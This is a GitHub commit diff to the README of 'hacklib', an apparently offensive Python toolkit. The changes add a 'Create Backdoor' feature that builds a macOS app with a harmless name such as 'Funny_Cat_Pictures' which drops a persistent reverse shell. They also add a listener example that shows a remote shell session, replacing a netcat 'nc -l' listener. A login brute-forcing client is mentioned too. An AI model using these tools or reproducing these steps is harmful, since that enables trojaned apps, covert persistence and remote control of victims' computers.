Skip to content

Commit 9d77106

Browse files
authored
Update README.md
1 parent 34ce368 commit 9d77106

File tree

1 file changed

+14
-5
lines changed

1 file changed

+14
-5
lines changed

README.md

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,9 @@ Enter the number corresponding to your choice.
2424
1) Connect to a proxy
2525
2) Target an IP or URL
2626
3) Lan Scan
27-
4) Exit
27+
4) Create Backdoor
28+
5) Server
29+
6) Exit
2830

2931
```
3032
Or if you got it using pip:
@@ -46,14 +48,21 @@ Reverse shell backdooring (Currently only for Macs):
4648
import hacklib
4749

4850
bd = hacklib.Backdoor()
49-
# Generates an app that drops a persistent reverse shell into the system.
51+
# Generates an app that, when ran, drops a persistent reverse shell into the system.
5052
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
5153
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
5254
```
5355

54-
Listen for connections with netcat:
55-
```
56-
nc -l 9090
56+
Listen for connections with Server:
57+
```python
58+
>>> import hacklib
59+
>>> s = hacklib.Server(9091) # Bind server to port 9091
60+
>>> s.listen()
61+
New connection ('127.0.0.1', 50011) # Prints this when a computer connects
62+
bash: no job control in this shell
63+
bash$ whoami # Type a command
64+
leon
65+
bash$ # Nice!
5766
```
5867
-
5968
Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:

0 commit comments

Comments
 (0)